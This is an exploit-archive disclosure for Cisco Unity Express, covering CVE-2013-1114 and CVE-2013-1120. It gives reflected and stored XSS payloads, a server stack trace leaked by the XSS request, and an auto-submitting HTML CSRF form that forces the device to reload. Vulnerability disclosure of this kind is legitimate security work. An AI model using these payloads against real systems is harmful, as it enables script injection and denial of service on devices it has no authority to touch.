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Cisco Unity Express - Multiple Vulnerabilities

Cisco Unity Express - Multiple Vulnerabilities

Publié le 2013-02-05

Code source

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# Exploit Title: Cisco Unity Express Multiple Vulnerabilities

# Reported: December 2012

# Disclosed: February 2013

# Author: Jacob Holcomb of Independent Security Evaluators

# CVE: XSS - CVE-2013-1114 and CSRF - CVE-2013-1120

# http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html



Cisco Advisory

http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114

http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120 



Proof of Concept

XSS - CVE-2013-1114:

GET:

Reflective XSS & Info disclosure

http://X.X.X.X/Web/SA2/ScriptList.do?gui_pagenotableData=><script>alert(42)</script>



Information Disclosure

Location: /Web/WEB-INF/screens/main.jsp

Error Location: /Web/WEB-INF/screens/prompts/ListScripts.jsp

Internal Servlet Error:



javax.servlet.ServletException: invalid character at position 1 in >

org.apache.jasper.runtime.PageContextImpl.handlePageException (Unknown Source)

WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:2245)

org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)

javax.servlet.http.HttpServlet.service (HttpServlet.java)

org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)

org.apache.tomcat.core.Handler.invoke (Unknown Source)

org.apache.tomcat.core.Handler.service (Unknown Source)

org.apache.tomcat.facade.ServletHandler.service (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)

org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)

java.security.AccessController.doPrivileged (AccessController.java:273)

org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)

org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)

WEB_0002dINF.screens.main._jspService (main.java:396)

org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)

javax.servlet.http.HttpServlet.service (HttpServlet.java)

org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)

org.apache.tomcat.core.Handler.invoke (Unknown Source)

org.apache.tomcat.core.Handler.service (Unknown Source)

org.apache.tomcat.facade.ServletHandler.service (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)

org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)

java.security.AccessController.doPrivileged (AccessController.java:273)

org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)

org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)

org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)

com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)

org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)

javax.servlet.http.HttpServlet.service (HttpServlet.java)

javax.servlet.http.HttpServlet.service (HttpServlet.java)

org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)

org.apache.tomcat.core.Handler.invoke (Unknown Source)

org.apache.tomcat.core.Handler.service (Unknown Source)

org.apache.tomcat.facade.ServletHandler.service (Unknown Source)

org.apache.tomcat.core.ContextManager.internalService (Unknown Source)

org.apache.tomcat.core.ContextManager.service (Unknown Source)

org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)

org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)

org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)

java.lang.Thread.run (Thread.java:777)



Root cause:

java.lang.NumberFormatException: invalid character at position 1 in >

java.lang.Throwable. (Throwable.java:166)

java.lang.Integer.parseInt (Integer.java:775)

java.lang.Integer.parseInt (Integer.java:262)

com.cisco.aesop.gui.taglibs.PagingTableTag.doAfterBody (PagingTableTag.java:274)

WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:1903)

org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)

javax.servlet.http.HttpServlet.service (HttpServlet.java)

org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)

org.apache.tomcat.core.Handler.invoke (Unknown Source)

org.apache.tomcat.core.Handler.service (Unknown Source)

org.apache.tomcat.facade.ServletHandler.service (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)

org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)

java.security.AccessController.doPrivileged (AccessController.java:273)

org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)

org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)

WEB_0002dINF.screens.main._jspService (main.java:396)

org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)

javax.servlet.http.HttpServlet.service (HttpServlet.java)

org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)

org.apache.tomcat.core.Handler.invoke (Unknown Source)

org.apache.tomcat.core.Handler.service (Unknown Source)

org.apache.tomcat.facade.ServletHandler.service (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)

org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)

java.security.AccessController.doPrivileged (AccessController.java:273)

org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)

org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)

org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)

org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)

com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)

org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)

javax.servlet.http.HttpServlet.service (HttpServlet.java)

javax.servlet.http.HttpServlet.service (HttpServlet.java)

org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)

org.apache.tomcat.core.Handler.invoke (Unknown Source)

org.apache.tomcat.core.Handler.service (Unknown Source)

org.apache.tomcat.facade.ServletHandler.service (Unknown Source)

org.apache.tomcat.core.ContextManager.internalService (Unknown Source)

org.apache.tomcat.core.ContextManager.service (Unknown Source)

org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)

org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)

org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)

java.lang.Thread.run (Thread.java:777)







POST:

Persistent XSS

http://X.X.X.X/Web/SA3/AddHoliday.do

POST Data: holiday.description=><script>alert(42)</script>&submitType=ADD





CSRF - CVE-2013-1120:



<html>

<!-- # Exploit Title: Cisco Unity Express CSRF

     # Date: Discovered and reported December 2012

     # Disclosed: February 2013

     # Author: Jacob Holcomb of Independent Security Evaluators

     # Software: Cisco Unity Express

     # CVE : CVE-2013-1120 for the CSRF

     # Note: All the HTML forms are susceptible to forgery -->



<head>

<title>Reload Cisco Unity Express CSRF</title>

</head>



<body>



<form name="CUEreload" action="http://X.X.X.X/Web/SA/SaveConfiguration.do" method="post">

<input type="hidden" name="submitType" value="RELOAD"/>

</form>



<script>

document.CUEreload.submit();

</script>



</body>

</html>
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